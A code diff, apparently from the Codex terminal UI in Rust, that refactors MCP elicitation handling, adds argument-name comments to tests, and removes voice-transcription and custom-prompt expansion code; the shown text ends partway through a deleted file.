fn snapshot_auto_all_rows_col_width_mode_scroll_behavior() {
assert_snapshot!(
"list_selection_col_width_mode_auto_all_rows_scroll",
render_before_after_scroll_snapshot(ColumnWidthMode::AutoAllRows, 96)
render_before_after_scroll_snapshot(ColumnWidthMode::AutoAllRows, /*width*/ 96)
);
}
@@ -1572,7 +1579,7 @@ mod tests {
fn snapshot_fixed_col_width_mode_scroll_behavior() {
assert_snapshot!(
"list_selection_col_width_mode_fixed_scroll",
render_before_after_scroll_snapshot(ColumnWidthMode::Fixed, 96)
render_before_after_scroll_snapshot(ColumnWidthMode::Fixed, /*width*/ 96)
);
}
@@ -1591,11 +1598,11 @@ mod tests {
tx,
);
let before_scroll = render_lines_with_width(&view, 96);
let before_scroll = render_lines_with_width(&view, /*width*/ 96);
for _ in 0..8 {
view.handle_key_event(KeyEvent::from(KeyCode::Down));
}
let after_scroll = render_lines_with_width(&view, 96);
let after_scroll = render_lines_with_width(&view, /*width*/ 96);
assert!(
after_scroll.contains("9. Item 9 with an intentionally much longer name"),
@@ -1693,7 +1700,7 @@ mod tests {
tx,
);
assert_eq!(view.side_layout_width(80), None);
assert_eq!(view.side_layout_width(/*content_width*/ 80), None);
}
#[test]
@@ -1723,7 +1730,7 @@ mod tests {
tx,
);
let rendered = render_lines_with_width(&view, 70);
let rendered = render_lines_with_width(&view, /*width*/ 70);
assert!(
rendered.contains('N'),
"expected stacked marker to be rendered:\n{rendered}"
@@ -5,11 +5,14 @@ use std::path::PathBuf;
use codex_app_server_protocol::McpElicitationEnumSchema;
use codex_app_server_protocol::McpElicitationPrimitiveSchema;
use codex_app_server_protocol::McpElicitationSingleSelectEnumSchema;
use codex_app_server_protocol::McpServerElicitationRequest;
use codex_app_server_protocol::McpServerElicitationRequestParams;
use codex_protocol::ThreadId;
use codex_protocol::approvals::ElicitationAction;
use codex_protocol::approvals::ElicitationRequest;
use codex_protocol::approvals::ElicitationRequestEvent;
use codex_protocol::mcp::RequestId as McpRequestId;
#[cfg(test)]
use codex_protocol::protocol::Op;
use codex_protocol::user_input::TextElement;
use crossterm::event::KeyCode;
@@ -25,7 +28,6 @@ use ratatui::widgets::Widget;
use serde_json::Value;
use unicode_width::UnicodeWidthStr;
use crate::app_event::AppEvent;
use crate::app_event_sender::AppEventSender;
use crate::bottom_pane::CancellationEvent;
use crate::bottom_pane::ChatComposer;
@@ -201,6 +203,36 @@ impl FooterTip {
}
impl McpServerElicitationFormRequest {
pub(crate) fn from_app_server_request(
thread_id: ThreadId,
request_id: McpRequestId,
request: McpServerElicitationRequestParams,
) -> Option<Self> {
let McpServerElicitationRequestParams {
server_name,
request,
..
} = request;
let McpServerElicitationRequest::Form {
meta,
message,
requested_schema,
} = request
else {
return None;
};
let requested_schema = serde_json::to_value(requested_schema).ok()?;
Self::from_parts(
thread_id,
server_name,
request_id,
meta,
message,
requested_schema,
)
}
pub(crate) fn from_event(
thread_id: ThreadId,
request: ElicitationRequestEvent,
@@ -214,6 +246,24 @@ impl McpServerElicitationFormRequest {
return None;
};
Self::from_parts(
thread_id,
request.server_name,
request.id,
meta,
message,
requested_schema,
)
}
fn from_parts(
thread_id: ThreadId,
server_name: String,
request_id: McpRequestId,
meta: Option<Value>,
message: String,
requested_schema: Value,
) -> Option<Self> {
let tool_suggestion = parse_tool_suggestion_request(meta.as_ref());
let is_tool_approval = meta
.as_ref()
@@ -313,8 +363,8 @@ impl McpServerElicitationFormRequest {
Some(Self {
thread_id,
server_name: request.server_name,
request_id: request.id,
server_name,
request_id,
message,
approval_display_params,
response_mode,
@@ -1083,16 +1133,14 @@ impl McpServerElicitationOverlay {
}
fn dispatch_cancel(&self) {
self.app_event_tx.send(AppEvent::SubmitThreadOp {
thread_id: self.request.thread_id,
op: Op::ResolveElicitation {
server_name: self.request.server_name.clone(),
request_id: self.request.request_id.clone(),
decision: ElicitationAction::Cancel,
content: None,
meta: None,
},
});
self.app_event_tx.resolve_elicitation(
self.request.thread_id,
self.request.server_name.clone(),
self.request.request_id.clone(),
ElicitationAction::Cancel,
/*content*/ None,
/*meta*/ None,
);
}
fn submit_answers(&mut self) {
@@ -1123,16 +1171,14 @@ impl McpServerElicitationOverlay {
Some(APPROVAL_CANCEL_VALUE) => (ElicitationAction::Cancel, None),
_ => (ElicitationAction::Cancel, None),
};
self.app_event_tx.send(AppEvent::SubmitThreadOp {
thread_id: self.request.thread_id,
op: Op::ResolveElicitation {
server_name: self.request.server_name.clone(),
request_id: self.request.request_id.clone(),
decision,
content: None,
meta,
},
});
self.app_event_tx.resolve_elicitation(
self.request.thread_id,
self.request.server_name.clone(),
self.request.request_id.clone(),
decision,
/*content*/ None,
meta,
);
if let Some(next) = self.queue.pop_front() {
self.request = next;
self.reset_for_request();
@@ -1149,16 +1195,14 @@ impl McpServerElicitationOverlay {
.enumerate()
.filter_map(|(idx, field)| self.field_value(idx).map(|value| (field.id.clone(), value)))
.collect::<serde_json::Map<_, _>>();
self.app_event_tx.send(AppEvent::SubmitThreadOp {
thread_id: self.request.thread_id,
op: Op::ResolveElicitation {
server_name: self.request.server_name.clone(),
request_id: self.request.request_id.clone(),
decision: ElicitationAction::Accept,
content: Some(Value::Object(content)),
meta: None,
},
});
self.app_event_tx.resolve_elicitation(
self.request.thread_id,
self.request.server_name.clone(),
self.request.request_id.clone(),
ElicitationAction::Accept,
Some(Value::Object(content)),
/*meta*/ None,
);
if let Some(next) = self.queue.pop_front() {
self.request = next;
self.reset_for_request();
@@ -1756,7 +1800,7 @@ mod tests {
},
"required": ["confirmed"],
}),
None,
/*meta*/ None,
),
)
.expect("expected supported form");
@@ -1811,7 +1855,7 @@ mod tests {
}
},
}),
None,
/*meta*/ None,
),
);
@@ -1823,7 +1867,7 @@ mod tests {
let thread_id = ThreadId::default();
let request = McpServerElicitationFormRequest::from_event(
thread_id,
form_request("Allow this request?", Value::Null, None),
form_request("Allow this request?", Value::Null, /*meta*/ None),
)
.expect("expected approval fallback");
@@ -1877,7 +1921,11 @@ mod tests {
form_request(
"Allow this request?",
empty_object_schema(),
tool_approval_meta(&[], None, None),
tool_approval_meta(
&[],
/*tool_params*/ None,
/*tool_params_display*/ None,
),
),
)
.expect("expected approval fallback");
@@ -1986,7 +2034,7 @@ mod tests {
fn empty_unmarked_schema_falls_back() {
let request = McpServerElicitationFormRequest::from_event(
ThreadId::default(),
form_request("Empty form", empty_object_schema(), None),
form_request("Empty form", empty_object_schema(), /*meta*/ None),
);
assert_eq!(request, None);
@@ -2058,13 +2106,16 @@ mod tests {
},
"required": ["confirmed"],
}),
None,
/*meta*/ None,
),
)
.expect("expected supported form");
let mut overlay = McpServerElicitationOverlay::new(request, tx, true, false, false);
let mut overlay = McpServerElicitationOverlay::new(
request, tx, /*has_input_focus*/ true, /*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.select_current_option(true);
overlay.select_current_option(/*committed*/ true);
overlay.submit_answers();
let event = rx.try_recv().expect("expected resolution");
@@ -2104,18 +2155,21 @@ mod tests {
APPROVAL_PERSIST_SESSION_VALUE,
APPROVAL_PERSIST_ALWAYS_VALUE,
],
None,
None,
/*tool_params*/ None,
/*tool_params_display*/ None,
),
),
)
.expect("expected approval fallback");
let mut overlay = McpServerElicitationOverlay::new(request, tx, true, false, false);
let mut overlay = McpServerElicitationOverlay::new(
request, tx, /*has_input_focus*/ true, /*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
if let Some(answer) = overlay.current_answer_mut() {
answer.selection.selected_idx = Some(1);
}
overlay.select_current_option(true);
overlay.select_current_option(/*committed*/ true);
overlay.submit_answers();
let event = rx.try_recv().expect("expected resolution");
@@ -2155,18 +2209,21 @@ mod tests {
APPROVAL_PERSIST_SESSION_VALUE,
APPROVAL_PERSIST_ALWAYS_VALUE,
],
None,
None,
/*tool_params*/ None,
/*tool_params_display*/ None,
),
),
)
.expect("expected approval fallback");
let mut overlay = McpServerElicitationOverlay::new(request, tx, true, false, false);
let mut overlay = McpServerElicitationOverlay::new(
request, tx, /*has_input_focus*/ true, /*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
if let Some(answer) = overlay.current_answer_mut() {
answer.selection.selected_idx = Some(2);
}
overlay.select_current_option(true);
overlay.select_current_option(/*committed*/ true);
overlay.submit_answers();
let event = rx.try_recv().expect("expected resolution");
@@ -2211,11 +2268,14 @@ mod tests {
},
"required": ["confirmed"],
}),
None,
/*meta*/ None,
),
)
.expect("expected supported form");
let mut overlay = McpServerElicitationOverlay::new(request, tx, true, false, false);
let mut overlay = McpServerElicitationOverlay::new(
request, tx, /*has_input_focus*/ true, /*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
assert_eq!(overlay.on_ctrl_c(), CancellationEvent::Handled);
@@ -2256,7 +2316,7 @@ mod tests {
}
},
}),
None,
/*meta*/ None,
),
)
.expect("expected supported form");
@@ -2273,7 +2333,7 @@ mod tests {
}
},
}),
None,
/*meta*/ None,
),
)
.expect("expected supported form");
@@ -2290,20 +2350,23 @@ mod tests {
}
},
}),
None,
/*meta*/ None,
),
)
.expect("expected supported form");
let mut overlay = McpServerElicitationOverlay::new(first, tx, true, false, false);
let mut overlay = McpServerElicitationOverlay::new(
first, tx, /*has_input_focus*/ true, /*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
overlay.try_consume_mcp_server_elicitation_request(second);
overlay.try_consume_mcp_server_elicitation_request(third);
overlay.select_current_option(true);
overlay.select_current_option(/*committed*/ true);
overlay.submit_answers();
assert_eq!(overlay.request.message, "Second");
overlay.select_current_option(true);
overlay.select_current_option(/*committed*/ true);
overlay.submit_answers();
assert_eq!(overlay.request.message, "Third");
@@ -2327,11 +2390,14 @@ mod tests {
},
"required": ["confirmed"],
}),
None,
/*meta*/ None,
),
)
.expect("expected supported form");
let overlay = McpServerElicitationOverlay::new(request, tx, true, false, false);
let overlay = McpServerElicitationOverlay::new(
request, tx, /*has_input_focus*/ true, /*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
insta::assert_snapshot!(
"mcp_server_elicitation_boolean_form",
@@ -2347,11 +2413,18 @@ mod tests {
form_request(
"Allow this request?",
empty_object_schema(),
tool_approval_meta(&[], None, None),
tool_approval_meta(
&[],
/*tool_params*/ None,
/*tool_params_display*/ None,
),
),
)
.expect("expected approval fallback");
let overlay = McpServerElicitationOverlay::new(request, tx, true, false, false);
let overlay = McpServerElicitationOverlay::new(
request, tx, /*has_input_focus*/ true, /*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
insta::assert_snapshot!(
"mcp_server_elicitation_approval_form_without_schema",
@@ -2372,13 +2445,16 @@ mod tests {
APPROVAL_PERSIST_SESSION_VALUE,
APPROVAL_PERSIST_ALWAYS_VALUE,
],
None,
None,
/*tool_params*/ None,
/*tool_params_display*/ None,
),
),
)
.expect("expected approval fallback");
let overlay = McpServerElicitationOverlay::new(request, tx, true, false, false);
let overlay = McpServerElicitationOverlay::new(
request, tx, /*has_input_focus*/ true, /*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
insta::assert_snapshot!(
"mcp_server_elicitation_approval_form_with_session_persist",
@@ -2428,7 +2504,10 @@ mod tests {
),
)
.expect("expected approval fallback");
let overlay = McpServerElicitationOverlay::new(request, tx, true, false, false);
let overlay = McpServerElicitationOverlay::new(
request, tx, /*has_input_focus*/ true, /*enhanced_keys_supported*/ false,
/*disable_paste_burst*/ false,
);
insta::assert_snapshot!(
"mcp_server_elicitation_approval_form_with_param_summary",
+23 -54
View File
@@ -47,9 +47,9 @@ mod mcp_server_elicitation;
mod multi_select_picker;
mod request_user_input;
mod status_line_setup;
mod title_setup;
pub(crate) use app_link_view::AppLinkElicitationTarget;
pub(crate) use app_link_view::AppLinkSuggestionType;
mod title_setup;
pub(crate) use app_link_view::AppLinkView;
pub(crate) use app_link_view::AppLinkViewParams;
pub(crate) use approval_overlay::ApprovalOverlay;
@@ -93,8 +93,10 @@ pub(crate) use list_selection_view::popup_content_width;
pub(crate) use list_selection_view::side_by_side_layout_widths;
mod feedback_view;
pub(crate) use feedback_view::FeedbackAudience;
pub(crate) use feedback_view::feedback_classification;
pub(crate) use feedback_view::feedback_disabled_params;
pub(crate) use feedback_view::feedback_selection_params;
pub(crate) use feedback_view::feedback_success_cell;
pub(crate) use feedback_view::feedback_upload_consent_params;
pub(crate) use skills_toggle_view::SkillsToggleItem;
pub(crate) use skills_toggle_view::SkillsToggleView;
@@ -144,7 +146,6 @@ use crate::bottom_pane::prompt_args::parse_slash_name;
pub(crate) use chat_composer::ChatComposer;
pub(crate) use chat_composer::ChatComposerConfig;
pub(crate) use chat_composer::InputResult;
use codex_protocol::custom_prompts::CustomPrompt;
use crate::status_indicator_widget::StatusDetailsCapitalization;
use crate::status_indicator_widget::StatusIndicatorWidget;
@@ -330,11 +331,6 @@ impl BottomPane {
self.request_redraw();
}
pub fn set_voice_transcription_enabled(&mut self, enabled: bool) {
self.composer.set_voice_transcription_enabled(enabled);
self.request_redraw();
}
/// Update the key hint shown next to queued messages so it matches the
/// binding that `ChatWidget` actually listens for.
pub(crate) fn set_queued_message_edit_binding(&mut self, binding: KeyBinding) {
@@ -375,17 +371,6 @@ impl BottomPane {
/// Forward a key event to the active view or the composer.
pub fn handle_key_event(&mut self, key_event: KeyEvent) -> InputResult {
// Do not globally intercept space; only composer handles hold-to-talk.
// While recording, route all keys to the composer so it can stop on release or next key.
#[cfg(not(target_os = "linux"))]
if self.composer.is_recording() {
let (_ir, needs_redraw) = self.composer.handle_key_event(key_event);
if needs_redraw {
self.request_redraw();
}
return InputResult::None;
}
// If a modal/view is active, handle it here; otherwise forward to composer.
if !self.view_stack.is_empty() {
if key_event.kind == KeyEventKind::Release {
@@ -517,11 +502,7 @@ impl BottomPane {
self.request_redraw();
}
// Space hold timeout is handled inside ChatComposer via an internal timer.
pub(crate) fn pre_draw_tick(&mut self) {
// Allow composer to process any time-based transitions before drawing
#[cfg(not(target_os = "linux"))]
self.composer.process_space_hold_trigger();
self.composer.sync_popups();
}
@@ -866,12 +847,6 @@ impl BottomPane {
}
}
/// Update custom prompts available for the slash popup.
pub(crate) fn set_custom_prompts(&mut self, prompts: Vec<CustomPrompt>) {
self.composer.set_custom_prompts(prompts);
self.request_redraw();
}
pub(crate) fn composer_is_empty(&self) -> bool {
self.composer.is_empty()
}
@@ -1209,21 +1184,15 @@ impl BottomPane {
#[cfg(not(target_os = "linux"))]
impl BottomPane {
pub(crate) fn insert_transcription_placeholder(&mut self, text: &str) -> String {
let id = self.composer.insert_transcription_placeholder(text);
pub(crate) fn insert_recording_meter_placeholder(&mut self, text: &str) -> String {
let id = self.composer.insert_recording_meter_placeholder(text);
self.composer.sync_popups();
self.request_redraw();
id
}
pub(crate) fn replace_transcription(&mut self, id: &str, text: &str) {
self.composer.replace_transcription(id, text);
self.composer.sync_popups();
self.request_redraw();
}
pub(crate) fn update_transcription_in_place(&mut self, id: &str, text: &str) -> bool {
let updated = self.composer.update_transcription_in_place(id, text);
pub(crate) fn update_recording_meter_in_place(&mut self, id: &str, text: &str) -> bool {
let updated = self.composer.update_recording_meter_in_place(id, text);
if updated {
self.composer.sync_popups();
self.request_redraw();
@@ -1231,8 +1200,8 @@ impl BottomPane {
updated
}
pub(crate) fn remove_transcription_placeholder(&mut self, id: &str) {
self.composer.remove_transcription_placeholder(id);
pub(crate) fn remove_recording_meter_placeholder(&mut self, id: &str) {
self.composer.remove_recording_meter_placeholder(id);
self.composer.sync_popups();
self.request_redraw();
}
@@ -1376,7 +1345,7 @@ mod tests {
});
// Start a running task so the status indicator is active above the composer.
pane.set_task_running(true);
pane.set_task_running(/*running*/ true);
// Push an approval modal (e.g., command approval) which should hide the status view.
pane.push_approval_request(exec_request(), &features);
@@ -1443,7 +1412,7 @@ mod tests {
});
// Begin a task: show initial status.
pane.set_task_running(true);
pane.set_task_running(/*running*/ true);
// Use a height that allows the status line to be visible above the composer.
let area = Rect::new(0, 0, 40, 6);
@@ -1470,10 +1439,10 @@ mod tests {
});
// Activate spinner (status view replaces composer) with no live ring.
pane.set_task_running(true);
pane.set_task_running(/*running*/ true);
// Use height == desired_height; expect spacer + status + composer rows without trailing padding.
let height = pane.desired_height(30);
let height = pane.desired_height(/*width*/ 30);
assert!(
height >= 3,
"expected at least 3 rows to render spacer, status, and composer; got {height}"
@@ -1500,7 +1469,7 @@ mod tests {
skills: Some(Vec::new()),
});
pane.set_task_running(true);
pane.set_task_running(/*running*/ true);
let width = 48;
let height = pane.desired_height(width);
@@ -1523,7 +1492,7 @@ mod tests {
skills: Some(Vec::new()),
});
pane.set_task_running(true);
pane.set_task_running(/*running*/ true);
let width = 120;
let before = pane.desired_height(width);
@@ -1552,7 +1521,7 @@ mod tests {
skills: Some(Vec::new()),
});
pane.set_task_running(true);
pane.set_task_running(/*running*/ true);
pane.update_status(
"Working".to_string(),
Some("First detail line\nSecond detail line".to_string()),
@@ -1589,7 +1558,7 @@ mod tests {
skills: Some(Vec::new()),
});
pane.set_task_running(true);
pane.set_task_running(/*running*/ true);
pane.set_pending_input_preview(
vec!["Queued follow-up question".to_string()],
Vec::new(),
@@ -1621,7 +1590,7 @@ mod tests {
skills: Some(Vec::new()),
});
pane.set_task_running(true);
pane.set_task_running(/*running*/ true);
pane.set_pending_input_preview(
vec!["Queued follow-up question".to_string()],
Vec::new(),
@@ -1713,7 +1682,7 @@ mod tests {
}]),
});
pane.set_task_running(true);
pane.set_task_running(/*running*/ true);
// Repro: a running task + skill popup + Esc should dismiss the popup, not interrupt.
pane.insert_str("$");
@@ -1751,7 +1720,7 @@ mod tests {
skills: Some(Vec::new()),
});
pane.set_task_running(true);
pane.set_task_running(/*running*/ true);
// Repro: a running task + slash-command popup + Esc should not interrupt the task.
pane.insert_str("/");
@@ -1786,7 +1755,7 @@ mod tests {
skills: Some(Vec::new()),
});
pane.set_task_running(true);
pane.set_task_running(/*running*/ true);
// Repro: `/agent ` hides the popup (cursor past command name). Esc should
// keep editing command text instead of interrupting the running task.
@@ -1822,7 +1791,7 @@ mod tests {
skills: Some(Vec::new()),
});
pane.set_task_running(true);
pane.set_task_running(/*running*/ true);
pane.show_selection_view(SelectionViewParams {
title: Some("Agents".to_string()),
items: vec![SelectionItem {
@@ -1870,7 +1839,7 @@ mod tests {
skills: Some(Vec::new()),
});
pane.set_task_running(true);
pane.set_task_running(/*running*/ true);
pane.handle_key_event(KeyEvent::new(KeyCode::Esc, KeyModifiers::NONE));
+6 -2
View File
@@ -532,11 +532,15 @@ mod tests {
let mut burst = PasteBurst::default();
let now = Instant::now();
assert!(burst.decide_begin_buffer(now, "ab", 2).is_none());
assert!(
burst
.decide_begin_buffer(now, "ab", /*retro_chars*/ 2)
.is_none()
);
assert!(!burst.is_active());
let grab = burst
.decide_begin_buffer(now, "a b", 2)
.decide_begin_buffer(now, "a b", /*retro_chars*/ 2)
.expect("whitespace should be considered paste-like");
assert_eq!(grab.start_byte, 1);
assert_eq!(grab.grabbed, " b");
@@ -183,14 +183,14 @@ mod tests {
#[test]
fn desired_height_empty() {
let queue = PendingInputPreview::new();
assert_eq!(queue.desired_height(40), 0);
assert_eq!(queue.desired_height(/*width*/ 40), 0);
}
#[test]
fn desired_height_one_message() {
let mut queue = PendingInputPreview::new();
queue.queued_messages.push("Hello, world!".to_string());
assert_eq!(queue.desired_height(40), 3);
assert_eq!(queue.desired_height(/*width*/ 40), 3);
}
#[test]
@@ -108,7 +108,7 @@ mod tests {
#[test]
fn desired_height_empty() {
let widget = PendingThreadApprovals::new();
assert_eq!(widget.desired_height(40), 0);
assert_eq!(widget.desired_height(/*width*/ 40), 0);
}
#[test]
@@ -117,10 +117,11 @@ mod tests {
widget.set_threads(vec!["Robie [explorer]".to_string()]);
assert_snapshot!(
snapshot_rows(&widget, 40).replace(' ', "."),
snapshot_rows(&widget, /*width*/ 40).replace(' ', "."),
@r"
..!.Approval.needed.in.Robie.[explorer].
..../agent.to.switch.threads............"
..!.Approval.needed.in.Robie.[explorer].
..../agent.to.switch.threads............
"
);
}
@@ -135,13 +136,14 @@ mod tests {
]);
assert_snapshot!(
snapshot_rows(&widget, 44).replace(' ', "."),
snapshot_rows(&widget, /*width*/ 44).replace(' ', "."),
@r"
..!.Approval.needed.in.Main.[default].......
..!.Approval.needed.in.Robie.[explorer].....
..!.Approval.needed.in.Inspector............
............................................
..../agent.to.switch.threads................"
..!.Approval.needed.in.Main.[default].......
..!.Approval.needed.in.Robie.[explorer].....
..!.Approval.needed.in.Inspector............
............................................
..../agent.to.switch.threads................
"
);
}
}
-829
View File
@@ -1,63 +1,3 @@
use codex_protocol::custom_prompts::CustomPrompt;
use codex_protocol::custom_prompts::PROMPTS_CMD_PREFIX;
use codex_protocol::user_input::ByteRange;
use codex_protocol::user_input::TextElement;
use lazy_static::lazy_static;
use regex_lite::Regex;
use shlex::Shlex;
use std::collections::HashMap;
use std::collections::HashSet;
lazy_static! {
static ref PROMPT_ARG_REGEX: Regex =
Regex::new(r"\$[A-Z][A-Z0-9_]*").unwrap_or_else(|_| std::process::abort());
}
#[derive(Debug)]
pub enum PromptArgsError {
MissingAssignment { token: String },
MissingKey { token: String },
}
impl PromptArgsError {
fn describe(&self, command: &str) -> String {
match self {
PromptArgsError::MissingAssignment { token } => format!(
"Could not parse {command}: expected key=value but found '{token}'. Wrap values in double quotes if they contain spaces."
),
PromptArgsError::MissingKey { token } => {
format!("Could not parse {command}: expected a name before '=' in '{token}'.")
}
}
}
}
#[derive(Debug)]
pub enum PromptExpansionError {
Args {
command: String,
error: PromptArgsError,
},
MissingArgs {
command: String,
missing: Vec<String>,
},
}
impl PromptExpansionError {
pub fn user_message(&self) -> String {
match self {
PromptExpansionError::Args { command, error } => error.describe(command),
PromptExpansionError::MissingArgs { command, missing } => {
let list = missing.join(", ");
format!(
"Missing required args for {command}: {list}. Provide as key=value (quote values with spaces)."
)
}
}
}
}
/// Parse a first-line slash command of the form `/name <rest>`.
/// Returns `(name, rest_after_name, rest_offset)` if the line begins with `/`
/// and contains a non-empty name; otherwise returns `None`.
@@ -80,775 +20,6 @@ pub fn parse_slash_name(line: &str) -> Option<(&str, &str, usize)> {
let rest_untrimmed = &stripped[name_end_in_stripped..];
let rest = rest_untrimmed.trim_start();
let rest_start_in_stripped = name_end_in_stripped + (rest_untrimmed.len() - rest.len());
// `stripped` is `line` without the leading '/', so add 1 to get the original offset.
let rest_offset = rest_start_in_stripped + 1;
Some((name, rest, rest_offset))
}
#[derive(Debug, Clone, PartialEq)]
pub struct PromptArg {
pub text: String,
pub text_elements: Vec<TextElement>,
}
#[derive(Debug, Clone, PartialEq)]
pub struct PromptExpansion {
pub text: String,
pub text_elements: Vec<TextElement>,
}
/// Parse positional arguments using shlex semantics (supports quoted tokens).
///
/// `text_elements` must be relative to `rest`.
pub fn parse_positional_args(rest: &str, text_elements: &[TextElement]) -> Vec<PromptArg> {
parse_tokens_with_elements(rest, text_elements)
}
/// Extracts the unique placeholder variable names from a prompt template.
///
/// A placeholder is any token that matches the pattern `$[A-Z][A-Z0-9_]*`
/// (for example `$USER`). The function returns the variable names without
/// the leading `$`, de-duplicated and in the order of first appearance.
pub fn prompt_argument_names(content: &str) -> Vec<String> {
let mut seen = HashSet::new();
let mut names = Vec::new();
for m in PROMPT_ARG_REGEX.find_iter(content) {
if m.start() > 0 && content.as_bytes()[m.start() - 1] == b'$' {
continue;
}
let name = &content[m.start() + 1..m.end()];
// Exclude special positional aggregate token from named args.
if name == "ARGUMENTS" {
continue;
}
let name = name.to_string();
if seen.insert(name.clone()) {
names.push(name);
}
}
names
}
/// Shift a text element's byte range left by `offset`, returning `None` if empty.
///
/// `offset` is the byte length of the prefix removed from the original text.
fn shift_text_element_left(elem: &TextElement, offset: usize) -> Option<TextElement> {
if elem.byte_range.end <= offset {
return None;
}
let start = elem.byte_range.start.saturating_sub(offset);
let end = elem.byte_range.end.saturating_sub(offset);
(start < end).then_some(elem.map_range(|_| ByteRange { start, end }))
}
/// Parses the `key=value` pairs that follow a custom prompt name.
///
/// The input is split using shlex rules, so quoted values are supported
/// (for example `USER="Alice Smith"`). The function returns a map of parsed
/// arguments, or an error if a token is missing `=` or if the key is empty.
pub fn parse_prompt_inputs(
rest: &str,
text_elements: &[TextElement],
) -> Result<HashMap<String, PromptArg>, PromptArgsError> {
let mut map = HashMap::new();
if rest.trim().is_empty() {
return Ok(map);
}
// Tokenize the rest of the command using shlex rules, but keep text element
// ranges relative to each emitted token.
for token in parse_tokens_with_elements(rest, text_elements) {
let Some((key, value)) = token.text.split_once('=') else {
return Err(PromptArgsError::MissingAssignment { token: token.text });
};
if key.is_empty() {
return Err(PromptArgsError::MissingKey { token: token.text });
}
// The token is `key=value`; translate element ranges into the value-only
// coordinate space by subtracting the `key=` prefix length.
let value_start = key.len() + 1;
let value_elements = token
.text_elements
.iter()
.filter_map(|elem| shift_text_element_left(elem, value_start))
.collect();
map.insert(
key.to_string(),
PromptArg {
text: value.to_string(),
text_elements: value_elements,
},
);
}
Ok(map)
}
/// Expands a message of the form `/prompts:name [value] [value] …` using a matching saved prompt.
///
/// If the text does not start with `/prompts:`, or if no prompt named `name` exists,
/// the function returns `Ok(None)`. On success it returns
/// `Ok(Some(expanded))`; otherwise it returns a descriptive error.
pub fn expand_custom_prompt(
text: &str,
text_elements: &[TextElement],
custom_prompts: &[CustomPrompt],
) -> Result<Option<PromptExpansion>, PromptExpansionError> {
let Some((name, rest, rest_offset)) = parse_slash_name(text) else {
return Ok(None);
};
// Only handle custom prompts when using the explicit prompts prefix with a colon.
let Some(prompt_name) = name.strip_prefix(&format!("{PROMPTS_CMD_PREFIX}:")) else {
return Ok(None);
};
let prompt = match custom_prompts.iter().find(|p| p.name == prompt_name) {
Some(prompt) => prompt,
None => return Ok(None),
};
// If there are named placeholders, expect key=value inputs.
let required = prompt_argument_names(&prompt.content);
let local_elements: Vec<TextElement> = text_elements
.iter()
.filter_map(|elem| {
let mut shifted = shift_text_element_left(elem, rest_offset)?;
if shifted.byte_range.start >= rest.len() {
return None;
}
let end = shifted.byte_range.end.min(rest.len());
shifted.byte_range.end = end;
(shifted.byte_range.start < shifted.byte_range.end).then_some(shifted)
})
.collect();
if !required.is_empty() {
let inputs = parse_prompt_inputs(rest, &local_elements).map_err(|error| {
PromptExpansionError::Args {
command: format!("/{name}"),
error,
}
})?;
let missing: Vec<String> = required
.into_iter()
.filter(|k| !inputs.contains_key(k))
.collect();
if !missing.is_empty() {
return Err(PromptExpansionError::MissingArgs {
command: format!("/{name}"),
missing,
});
}
let (text, elements) = expand_named_placeholders_with_elements(&prompt.content, &inputs);
return Ok(Some(PromptExpansion {
text,
text_elements: elements,
}));
}
// Otherwise, treat it as numeric/positional placeholder prompt (or none).
let pos_args = parse_positional_args(rest, &local_elements);
Ok(Some(expand_numeric_placeholders(
&prompt.content,
&pos_args,
)))
}
/// Detect whether `content` contains numeric placeholders ($1..$9) or `$ARGUMENTS`.
pub fn prompt_has_numeric_placeholders(content: &str) -> bool {
if content.contains("$ARGUMENTS") {
return true;
}
let bytes = content.as_bytes();
let mut i = 0;
while i + 1 < bytes.len() {
if bytes[i] == b'$' {
let b1 = bytes[i + 1];
if (b'1'..=b'9').contains(&b1) {
return true;
}
}
i += 1;
}
false
}
/// Extract positional arguments from a composer first line like "/name a b" for a given prompt name.
/// Returns empty when the command name does not match or when there are no args.
pub fn extract_positional_args_for_prompt_line(
line: &str,
prompt_name: &str,
text_elements: &[TextElement],
) -> Vec<PromptArg> {
let trimmed = line.trim_start();
let trim_offset = line.len() - trimmed.len();
let Some((name, rest, rest_offset)) = parse_slash_name(trimmed) else {
return Vec::new();
};
// Require the explicit prompts prefix for custom prompt invocations.
let Some(after_prefix) = name.strip_prefix(&format!("{PROMPTS_CMD_PREFIX}:")) else {
return Vec::new();
};
if after_prefix != prompt_name {
return Vec::new();
}
let rest_trimmed_start = rest.trim_start();
let args_str = rest_trimmed_start.trim_end();
if args_str.is_empty() {
return Vec::new();
}
let args_offset = trim_offset + rest_offset + (rest.len() - rest_trimmed_start.len());
let local_elements: Vec<TextElement> = text_elements
.iter()
.filter_map(|elem| {
let mut shifted = shift_text_element_left(elem, args_offset)?;
if shifted.byte_range.start >= args_str.len() {
return None;
}
let end = shifted.byte_range.end.min(args_str.len());
shifted.byte_range.end = end;
(shifted.byte_range.start < shifted.byte_range.end).then_some(shifted)
})
.collect();
parse_positional_args(args_str, &local_elements)
}
/// If the prompt only uses numeric placeholders and the first line contains
/// positional args for it, expand and return Some(expanded); otherwise None.
pub fn expand_if_numeric_with_positional_args(
prompt: &CustomPrompt,
first_line: &str,
text_elements: &[TextElement],
) -> Option<PromptExpansion> {
if !prompt_argument_names(&prompt.content).is_empty() {
return None;
}
if !prompt_has_numeric_placeholders(&prompt.content) {
return None;
}
let args = extract_positional_args_for_prompt_line(first_line, &prompt.name, text_elements);
if args.is_empty() {
return None;
}
Some(expand_numeric_placeholders(&prompt.content, &args))
}
/// Expand `$1..$9` and `$ARGUMENTS` in `content` with values from `args`.
pub fn expand_numeric_placeholders(content: &str, args: &[PromptArg]) -> PromptExpansion {
let mut out = String::with_capacity(content.len());
let mut out_elements = Vec::new();
let mut i = 0;
while let Some(off) = content[i..].find('$') {
let j = i + off;
out.push_str(&content[i..j]);
let rest = &content[j..];
let bytes = rest.as_bytes();
if bytes.len() >= 2 {
match bytes[1] {
b'$' => {
out.push_str("$$");
i = j + 2;
continue;
}
b'1'..=b'9' => {
let idx = (bytes[1] - b'1') as usize;
if let Some(arg) = args.get(idx) {
append_arg_with_elements(&mut out, &mut out_elements, arg);
}
i = j + 2;
continue;
}
_ => {}
}
}
